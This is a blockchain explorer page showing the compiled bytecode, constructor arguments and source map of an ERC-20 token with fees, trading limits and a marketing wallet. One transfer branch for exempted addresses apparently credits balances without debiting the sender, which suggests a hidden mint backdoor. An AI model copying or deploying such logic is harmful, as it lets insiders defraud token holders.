1561043757600080fd5b506101bc61044636600461131e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561047d57600080fd5b5061031f61048c3660046112fa565b61090c565b6060600480546104a090611357565b80601f01602080910402602001604051908101604052809291908181526020018280546104cc90611357565b80156105195780601f106104ee57610100808354040283529160200191610519565b820191906000526020600020905b8154815290600101906020018083116104fc57829003601f168201915b5050505050905090565b60006105303384846109fc565b5060015b92915050565b6000610547848484610b20565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001981146105e757828110156105da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105e785338584036109fc565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105309185906106299086906113a7565b6109fc565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016105d1906113ba565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106cc5760405162461bcd60e51b81526004016105d1906113ba565b6006805460ff60b01b19169055565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016105d1906113ba565b600754156107555760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016105d1565b6006805460ff60b01b191690556001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663f305d71947306107b2816001600160a01b031660009081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610816573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083b9190611400565b505042600755506006805460ff60b01b1916600160b01b179055565b6060600580546104a090611357565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156108e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105d1565b6108f533858584036109fc565b5060019392505050565b6000610530338484610b20565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105d1906113ba565b6001600160a01b0381166109a15760405162461bcd60e51b815260206004820152602c60248201527f4f776e657241627374726163743a206e6577206f776e6572206973207468652060448201526b7a65726f206164647265737360a01b60648201526084016105d1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d1565b6001600160a01b038216610abf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b465760405162461bcd60e51b81526004016105d19061142e565b6001600160a01b038216610b6c5760405162461bcd60e51b81526004016105d190611473565b60008111610bbc5760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016105d1565b600754158015908190610be857506001600160a01b03841660009081526008602052604090205460ff16155b8015610c0d57506001600160a01b03831660009081526008602052604090205460ff16155b15610d8e57600654600160b01b900460ff1615610c88576014610c2f60035490565b610c3991906114b6565b821115610c885760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d697420657863656564656400000000000000000060448201526064016105d1565b600654600090600160a81b900460ff168015610cae5750600654600160a01b900460ff16155b15610cdf576006805460ff60a01b1916600160a01b179055610cd1858583610dd8565b6006805460ff60a01b191690555b6001600160a01b03841660009081526009602052604090205460ff168015610d075750600081115b15610d29576064610d1882856114d8565b610d2291906114b6565b9050610d6f565b600081118015610d5157506001600160a01b03851660009081526009602052604090205460ff165b15610d6f576064610d6282856114d8565b610d6c91906114b6565b90505b8015610d8057610d80853083611072565b610d8a81846114ef565b9250505b808015610db357506001600160a01b03841660009081526008602052604090205460ff165b15610dc757610dc283836111c7565b610dd2565b610dd2848484611072565b50505050565b8015610f74573060009081526001602090815260408083205481516002808252606082018452919493909290830190803683370190505090503081600081518110610e2557610e25611502565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec79190611518565b81600181518110610eda57610eda611502565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac94790610f3f908590600090869030904290600401611535565b600060405180830381600087803b158015610f5957600080fd5b505af1158015610f6d573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606085811b8216602084015284901b1660348201526000906001600160a01b037f0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f1690479060480160408051601f1981840301815290829052610fe7916115a6565b60006040518083038185875af1925050503d8060008114611024576040519150601f19603f3d011682016040523d82523d6000602084013e611029565b606091505b50508091505080610dd25760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b60448201526064016105d1565b6001600160a01b0383166110985760405162461bcd60e51b81526004016105d19061142e565b6001600160a01b0382166110be5760405162461bcd60e51b81526004016105d190611473565b6001600160a01b038316600090815260016020526040902054818110156111365760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105d1565b6001600160a01b0380851660009081526001602052604080822085850390559185168152908120805484929061116d9084906113a7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111b991815260200190565b60405180910390a350505050565b6001600160a01b0382166111ed5760405162461bcd60e51b81526004016105d190611473565b6001600160a01b038216600090815260016020526040812080548392906112159084906113a7565b90915550505050565b60005b83811015611239578181015183820152602001611221565b50506000910152565b602081526000825180602084015261126181604085016020870161121e565b601f01601f19169190910160400192915050565b6001600160a01b038116811461128a57600080fd5b50565b600080604083850312156112a057600080fd5b82356112ab81611275565b946020939093013593505050565b6000806000606084860312156112ce57600080fd5b83356112d981611275565b925060208401356112e981611275565b929592945050506040919091013590565b60006020828403121561130c57600080fd5b813561131781611275565b9392505050565b6000806040838503121561133157600080fd5b823561133c81611275565b9150602083013561134c81611275565b809150509250929050565b600181811c9082168061136b57607f821691505b60208210810361138b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561053457610534611391565b60208082526026908201527f4f776e657241627374726163743a2063616c6c6572206973206e6f74207468656040820152651037bbb732b960d11b606082015260800190565b60008060006060848603121561141557600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000826114d357634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761053457610534611391565b8181038181111561053457610534611391565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561152a57600080fd5b815161131781611275565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115855784516001600160a01b031683529383019391830191600101611560565b50506001600160a01b03969096166060850152505050608001529392505050565b600082516115b881846020870161121e565b919091019291505056fea2646970667358221220b9d294374fc8ee4a23f079a5ba3b3704b9acc75fb604cc89928b2cebc0a0a23664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : marketing_ (address): 0x7F9C22CeDAB63eE5c528D8DFb8C57a8752Fd154F

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f


Deployed Bytecode Sourcemap

9950:3987:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4139:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5194:210;;;;;;;;;;-1:-1:-1;5194:210:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;5194:210:0;1126:187:1;4460:108:0;;;;;;;;;;-1:-1:-1;4548:12:0;;4460:108;;;1464:25:1;;;1452:2;1437:18;4460:108:0;1318:177:1;5412:620:0;;;;;;;;;;-1:-1:-1;5412:620:0;;;;;:::i;:::-;;:::i;10251:34::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2125:32:1;;;2107:51;;2095:2;2080:18;10251:34:0;1961:203:1;13715:92:0;;;;;;;;;;-1:-1:-1;13715:92:0;;10022:1;2311:36:1;;2299:2;2284:18;13715:92:0;2169:184:1;6040:297:0;;;;;;;;;;-1:-1:-1;6040:297:0;;;;;:::i;:::-;;:::i;10183:27::-;;;;;;;;;;-1:-1:-1;10183:27:0;;;;-1:-1:-1;;;10183:27:0;;;;;;10079:28;;;;;;;;;;-1:-1:-1;10079:28:0;;;;-1:-1:-1;;;;;10079:28:0;;;10146:30;;;;;;;;;;-1:-1:-1;10146:30:0;;;;-1:-1:-1;;;10146:30:0;;;;;;13815:119;;;;;;;;;;-1:-1:-1;13815:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;13908:18:0;13881:7;13908:18;;;:9;:18;;;;;;;13815:119;9500:148;;;;;;;;;;;;;:::i;:::-;;13584:80;;;;;;;;;;;;;:::i;13220:356::-;;;:::i;9280:79::-;;;;;;;;;;-1:-1:-1;9318:7:0;9345:6;-1:-1:-1;;;;;9345:6:0;9280:79;;10032:40;;;;;;;;;;;;;;;4247:104;;;;;;;;;;;;;:::i;6345:482::-;;;;;;;;;;-1:-1:-1;6345:482:0;;;;;:::i;:::-;;:::i;4761:216::-;;;;;;;;;;-1:-1:-1;4761:216:0;;;;;:::i;:::-;;:::i;10219:25::-;;;;;;;;;;;;;;;;10353:47;;;;;;;;;;-1:-1:-1;10353:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4985:201;;;;;;;;;;-1:-1:-1;4985:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5151:18:0;;;5119:7;5151:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4985:201;9656:287;;;;;;;;;;-1:-1:-1;9656:287:0;;;;;:::i;:::-;;:::i;4139:100::-;4193:13;4226:5;4219:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4139:100;:::o;5194:210::-;5313:4;5335:39;314:10;5358:7;5367:6;5335:8;:39::i;:::-;-1:-1:-1;5392:4:0;5194:210;;;;;:::o;5412:620::-;5552:4;5569:36;5579:6;5587:9;5598:6;5569:9;:36::i;:::-;-1:-1:-1;;;;;5645:19:0;;5618:24;5645:19;;;:11;:19;;;;;;;;314:10;5645:33;;;;;;;;-1:-1:-1;;5692:37:0;;5689:314;;5793:6;5773:16;:26;;5747:128;;;;-1:-1:-1;;;5747:128:0;;3817:2:1;5747:128:0;;;3799:21:1;3856:2;3836:18;;;3829:30;3895:34;3875:18;;;3868:62;-1:-1:-1;;;3946:18:1;;;3939:38;3994:19;;5747:128:0;;;;;;;;;5919:57;5928:6;314:10;5969:6;5950:16;:25;5919:8;:57::i;:::-;-1:-1:-1;6020:4:0;;5412:620;-1:-1:-1;;;;5412:620:0:o;6040:297::-;314:10;6155:4;6249:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6249:34:0;;;;;;;;;;6155:4;;6177:130;;6227:7;;6249:47;;6286:10;;6249:47;:::i;:::-;6177:8;:130::i;9500:148::-;9407:6;;-1:-1:-1;;;;;9407:6:0;314:10;9407:22;9399:73;;;;-1:-1:-1;;;9399:73:0;;;;;;;:::i;:::-;9607:1:::1;9591:6:::0;;9570:40:::1;::::0;-1:-1:-1;;;;;9591:6:0;;::::1;::::0;9570:40:::1;::::0;9607:1;;9570:40:::1;9638:1;9621:19:::0;;-1:-1:-1;;;;;;9621:19:0::1;::::0;;9500:148::o;13584:80::-;9407:6;;-1:-1:-1;;;;;9407:6:0;314:10;9407:22;9399:73;;;;-1:-1:-1;;;9399:73:0;;;;;;;:::i;:::-;13640:8:::1;:16:::0;;-1:-1:-1;;;;13640:16:0::1;::::0;;13584:80::o;13220:356::-;9407:6;;-1:-1:-1;;;;;9407:6:0;314:10;9407:22;9399:73;;;;-1:-1:-1;;;9399:73:0;;;;;;;:::i;:::-;13291:10:::1;::::0;:15;13283:54:::1;;;::::0;-1:-1:-1;;;13283:54:0;;4895:2:1;13283:54:0::1;::::0;::::1;4877:21:1::0;4934:2;4914:18;;;4907:30;4973:28;4953:18;;;4946:56;5019:18;;13283:54:0::1;4693:350:1::0;13283:54:0::1;13348:8;:16:::0;;-1:-1:-1;;;;13348:16:0::1;::::0;;-1:-1:-1;;;;;13375:11:0::1;:27;;13410:21;13441:4;13447:24;13441:4:::0;-1:-1:-1;;;;;13908:18:0;13881:7;13908:18;;;:9;:18;;;;;;;13815:119;13447:24:::1;13375:128;::::0;-1:-1:-1;;;;;;13375:128:0::1;::::0;;;;;;-1:-1:-1;;;;;5407:15:1;;;13375:128:0::1;::::0;::::1;5389:34:1::0;5439:18;;;5432:34;13472:1:0::1;5482:18:1::0;;;5475:34;;;5525:18;;;5518:34;13476:10:0::1;5568:19:1::0;;;5561:44;13487:15:0::1;5621:19:1::0;;;5614:35;5323:19;;13375:128:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13527:15:0::1;13514:10;:28:::0;-1:-1:-1;13553:8:0::1;:15:::0;;-1:-1:-1;;;;13553:15:0::1;-1:-1:-1::0;;;13553:15:0::1;::::0;;13220:356::o;4247:104::-;4303:13;4336:7;4329:14;;;;;:::i;6345:482::-;314:10;6465:4;6514:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6514:34:0;;;;;;;;;;6581:35;;;;6559:122;;;;-1:-1:-1;;;6559:122:0;;6173:2:1;6559:122:0;;;6155:21:1;6212:2;6192:18;;;6185:30;6251:34;6231:18;;;6224:62;-1:-1:-1;;;6302:18:1;;;6295:35;6347:19;;6559:122:0;5971:401:1;6559:122:0;6717:67;314:10;6740:7;6768:15;6749:16;:34;6717:8;:67::i;:::-;-1:-1:-1;6815:4:0;;6345:482;-1:-1:-1;;;6345:482:0:o;4761:216::-;4883:4;4905:42;314:10;4929:9;4940:6;4905:9;:42::i;9656:287::-;9407:6;;-1:-1:-1;;;;;9407:6:0;314:10;9407:22;9399:73;;;;-1:-1:-1;;;9399:73:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9759:22:0;::::1;9737:116;;;::::0;-1:-1:-1;;;9737:116:0;;6579:2:1;9737:116:0::1;::::0;::::1;6561:21:1::0;6618:2;6598:18;;;6591:30;6657:34;6637:18;;;6630:62;-1:-1:-1;;;6708:18:1;;;6701:42;6760:19;;9737:116:0::1;6377:408:1::0;9737:116:0::1;9890:6;::::0;;9869:38:::1;::::0;-1:-1:-1;;;;;9869:38:0;;::::1;::::0;9890:6;::::1;::::0;9869:38:::1;::::0;::::1;9918:6;:17:::0;;-1:-1:-1;;;;;;9918:17:0::1;-1:-1:-1::0;;;;;9918:17:0;;;::::1;::::0;;;::::1;::::0;;9656:287::o;7729:380::-;-1:-1:-1;;;;;7865:19:0;;7857:68;;;;-1:-1:-1;;;7857:68:0;;6992:2:1;7857:68:0;;;6974:21:1;7031:2;7011:18;;;7004:30;7070:34;7050:18;;;7043:62;-1:-1:-1;;;7121:18:1;;;7114:34;7165:19;;7857:68:0;6790:400:1;7857:68:0;-1:-1:-1;;;;;7944:21:0;;7936:68;;;;-1:-1:-1;;;7936:68:0;;7397:2:1;7936:68:0;;;7379:21:1;7436:2;7416:18;;;7409:30;7475:34;7455:18;;;7448:62;-1:-1:-1;;;7526:18:1;;;7519:32;7568:19;;7936:68:0;7195:398:1;7936:68:0;-1:-1:-1;;;;;8017:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8069:32;;1464:25:1;;;8069:32:0;;1437:18:1;8069:32:0;;;;;;;7729:380;;;:::o;11136:1379::-;-1:-1:-1;;;;;11268:18:0;;11260:68;;;;-1:-1:-1;;;11260:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11347:16:0;;11339:64;;;;-1:-1:-1;;;11339:64:0;;;;;;;:::i;:::-;11431:1;11422:6;:10;11414:52;;;;-1:-1:-1;;;11414:52:0;;8610:2:1;11414:52:0;;;8592:21:1;8649:2;8629:18;;;8622:30;8688:31;8668:18;;;8661:59;8737:18;;11414:52:0;8408:353:1;11414:52:0;11501:10;;:14;;;;;;11532:46;;-1:-1:-1;;;;;;11553:25:0;;;;;;:19;:25;;;;;;;;11552:26;11532:46;:74;;;;-1:-1:-1;;;;;;11583:23:0;;;;;;:19;:23;;;;;;;;11582:24;11532:74;11528:799;;;11627:8;;-1:-1:-1;;;11627:8:0;;;;11623:113;;;11690:2;11674:13;4548:12;;;4460:108;11674:13;:18;;;;:::i;:::-;11664:6;:28;;11656:64;;;;-1:-1:-1;;;11656:64:0;;9190:2:1;11656:64:0;;;9172:21:1;9229:2;9209:18;;;9202:30;9268:25;9248:18;;;9241:53;9311:18;;11656:64:0;8988:347:1;11656:64:0;11787:11;;11752:12;;-1:-1:-1;;;11787:11:0;;;;:26;;;;-1:-1:-1;11803:10:0;;-1:-1:-1;;;11803:10:0;;;;11802:11;11787:26;11783:164;;;11834:10;:17;;-1:-1:-1;;;;11834:17:0;-1:-1:-1;;;11834:17:0;;;11870:24;11879:4;11885:2;11889:4;11870:8;:24::i;:::-;11913:10;:18;;-1:-1:-1;;;;11913:18:0;;;11783:164;-1:-1:-1;;;;;11965:19:0;;;;;;:15;:19;;;;;;;;:31;;;;;11995:1;11988:4;:8;11965:31;11961:221;;;12042:3;12025:13;12034:4;12025:6;:13;:::i;:::-;12024:21;;;;:::i;:::-;12017:28;;11961:221;;;12091:1;12084:4;:8;:33;;;;-1:-1:-1;;;;;;12096:21:0;;;;;;:15;:21;;;;;;;;12084:33;12080:102;;;12163:3;12146:13;12155:4;12146:6;:13;:::i;:::-;12145:21;;;;:::i;:::-;12138:28;;12080:102;12200:8;;12196:91;;12229:42;12245:4;12259;12266;12229:15;:42::i;:::-;12301:14;12311:4;12301:14;;:::i;:::-;;;11608:719;11528:799;12341:16;:45;;;;-1:-1:-1;;;;;;12361:25:0;;;;;;:19;:25;;;;;;;;12341:45;12337:171;;;12403:27;12419:2;12423:6;12403:15;:27::i;:::-;12337:171;;;12463:33;12479:4;12485:2;12489:6;12463:15;:33::i;:::-;11249:1266;11136:1379;;;:::o;12523:689::-;12603:7;;12599:435;;12666:4;12625:20;13908:18;;;:9;:18;;;;;;;;;12709:16;;12723:1;12709:16;;;;;;;;13908:18;;12625:20;12709:16;;;;;;13908:18;12709:16;;;;;-1:-1:-1;12709:16:0;12685:40;;12756:4;12738;12743:1;12738:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12738:23:0;;;-1:-1:-1;;;;;12738:23:0;;;;;12784:11;-1:-1:-1;;;;;12784:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12774:4;12779:1;12774:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12774:28:0;;;:7;;;;;;;;;:28;12817:205;;-1:-1:-1;;;12817:205:0;;:11;:62;;;;;;:205;;12896:12;;12925:1;;12943:4;;12972;;12994:15;;12817:205;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12612:422;;12599:435;13126:26;;-1:-1:-1;;11378:2:1;11374:15;;;11370:24;;13126:26:0;;;11358:37:1;11429:15;;;11425:24;11411:12;;;11404:46;13044:12:0;;-1:-1:-1;;;;;13081:9:0;:14;;13103:21;;11466:12:1;;13126:26:0;;;-1:-1:-1;;13126:26:0;;;;;;;;;;13081:72;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13067:86;;;;;13173:7;13165:39;;;;-1:-1:-1;;;13165:39:0;;11983:2:1;13165:39:0;;;11965:21:1;12022:2;12002:18;;;11995:30;-1:-1:-1;;;12041:18:1;;;12034:49;12100:18;;13165:39:0;11781:343:1;7070:651:0;-1:-1:-1;;;;;7210:20:0;;7202:70;;;;-1:-1:-1;;;7202:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7291:23:0;;7283:71;;;;-1:-1:-1;;;7283:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7391:17:0;;7367:21;7391:17;;;:9;:17;;;;;;7441:23;;;;7419:111;;;;-1:-1:-1;;;7419:111:0;;12331:2:1;7419:111:0;;;12313:21:1;12370:2;12350:18;;;12343:30;12409:34;12389:18;;;12382:62;-1:-1:-1;;;12460:18:1;;;12453:36;12506:19;;7419:111:0;12129:402:1;7419:111:0;-1:-1:-1;;;;;7566:17:0;;;;;;;:9;:17;;;;;;7586:22;;;7566:42;;7630:20;;;;;;;;:30;;7602:6;;7566:17;7630:30;;7602:6;;7630:30;:::i;:::-;;;;;;;;7695:9;-1:-1:-1;;;;;7678:35:0;7687:6;-1:-1:-1;;;;;7678:35:0;;7706:6;7678:35;;;;1464:25:1;;1452:2;1437:18;;1318:177;7678:35:0;;;;;;;;7191:530;7070:651;;;:::o;6835:227::-;-1:-1:-1;;;;;6950:23:0;;6942:71;;;;-1:-1:-1;;;6942:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7024:20:0;;;;;;:9;:20;;;;;:30;;7048:6;;7024:20;:30;;7048:6;;7024:30;:::i;:::-;;;;-1:-1:-1;;;;6835:227:0:o;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;725:70;670:131;:::o;806:315::-;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;990:9;977:23;1009:31;1034:5;1009:31;:::i;:::-;1059:5;1111:2;1096:18;;;;1083:32;;-1:-1:-1;;;806:315:1:o;1500:456::-;1577:6;1585;1593;1646:2;1634:9;1625:7;1621:23;1617:32;1614:52;;;1662:1;1659;1652:12;1614:52;1701:9;1688:23;1720:31;1745:5;1720:31;:::i;:::-;1770:5;-1:-1:-1;1827:2:1;1812:18;;1799:32;1840:33;1799:32;1840:33;:::i;:::-;1500:456;;1892:7;;-1:-1:-1;;;1946:2:1;1931:18;;;;1918:32;;1500:456::o;2358:247::-;2417:6;2470:2;2458:9;2449:7;2445:23;2441:32;2438:52;;;2486:1;2483;2476:12;2438:52;2525:9;2512:23;2544:31;2569:5;2544:31;:::i;:::-;2594:5;2358:247;-1:-1:-1;;;2358:247:1:o;2837:388::-;2905:6;2913;2966:2;2954:9;2945:7;2941:23;2937:32;2934:52;;;2982:1;2979;2972:12;2934:52;3021:9;3008:23;3040:31;3065:5;3040:31;:::i;:::-;3090:5;-1:-1:-1;3147:2:1;3132:18;;3119:32;3160:33;3119:32;3160:33;:::i;:::-;3212:7;3202:17;;;2837:388;;;;;:::o;3230:380::-;3309:1;3305:12;;;;3352;;;3373:61;;3427:4;3419:6;3415:17;3405:27;;3373:61;3480:2;3472:6;3469:14;3449:18;3446:38;3443:161;;3526:10;3521:3;3517:20;3514:1;3507:31;3561:4;3558:1;3551:15;3589:4;3586:1;3579:15;3443:161;;3230:380;;;:::o;4024:127::-;4085:10;4080:3;4076:20;4073:1;4066:31;4116:4;4113:1;4106:15;4140:4;4137:1;4130:15;4156:125;4221:9;;;4242:10;;;4239:36;;;4255:18;;:::i;4286:402::-;4488:2;4470:21;;;4527:2;4507:18;;;4500:30;4566:34;4561:2;4546:18;;4539:62;-1:-1:-1;;;4632:2:1;4617:18;;4610:36;4678:3;4663:19;;4286:402::o;5660:306::-;5748:6;5756;5764;5817:2;5805:9;5796:7;5792:23;5788:32;5785:52;;;5833:1;5830;5823:12;5785:52;5862:9;5856:16;5846:26;;5912:2;5901:9;5897:18;5891:25;5881:35;;5956:2;5945:9;5941:18;5935:25;5925:35;;5660:306;;;;;:::o;7598:401::-;7800:2;7782:21;;;7839:2;7819:18;;;7812:30;7878:34;7873:2;7858:18;;7851:62;-1:-1:-1;;;7944:2:1;7929:18;;7922:35;7989:3;7974:19;;7598:401::o;8004:399::-;8206:2;8188:21;;;8245:2;8225:18;;;8218:30;8284:34;8279:2;8264:18;;8257:62;-1:-1:-1;;;8350:2:1;8335:18;;8328:33;8393:3;8378:19;;8004:399::o;8766:217::-;8806:1;8832;8822:132;;8876:10;8871:3;8867:20;8864:1;8857:31;8911:4;8908:1;8901:15;8939:4;8936:1;8929:15;8822:132;-1:-1:-1;8968:9:1;;8766:217::o;9340:168::-;9413:9;;;9444;;9461:15;;;9455:22;;9441:37;9431:71;;9482:18;;:::i;9513:128::-;9580:9;;;9601:11;;;9598:37;;;9615:18;;:::i;9778:127::-;9839:10;9834:3;9830:20;9827:1;9820:31;9870:4;9867:1;9860:15;9894:4;9891:1;9884:15;9910:251;9980:6;10033:2;10021:9;10012:7;10008:23;10004:32;10001:52;;;10049:1;10046;10039:12;10001:52;10081:9;10075:16;10100:31;10125:5;10100:31;:::i;10166:980::-;10428:4;10476:3;10465:9;10461:19;10507:6;10496:9;10489:25;10533:2;10571:6;10566:2;10555:9;10551:18;10544:34;10614:3;10609:2;10598:9;10594:18;10587:31;10638:6;10673;10667:13;10704:6;10696;10689:22;10742:3;10731:9;10727:19;10720:26;;10781:2;10773:6;10769:15;10755:29;;10802:1;10812:195;10826:6;10823:1;10820:13;10812:195;;;10891:13;;-1:-1:-1;;;;;10887:39:1;10875:52;;10982:15;;;;10947:12;;;;10923:1;10841:9;10812:195;;;-1:-1:-1;;;;;;;11063:32:1;;;;11058:2;11043:18;;11036:60;-1:-1:-1;;;11127:3:1;11112:19;11105:35;11024:3;10166:980;-1:-1:-1;;;10166:980:1:o;11489:287::-;11618:3;11656:6;11650:13;11672:66;11731:6;11726:3;11719:4;11711:6;11707:17;11672:66;:::i;:::-;11754:16;;;;;11489:287;-1:-1:-1;;11489:287:1:o

Swarm Source

ipfs://b9d294374fc8ee4a23f079a5ba3b3704b9acc75fb604cc89928b2cebc0a0a236
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.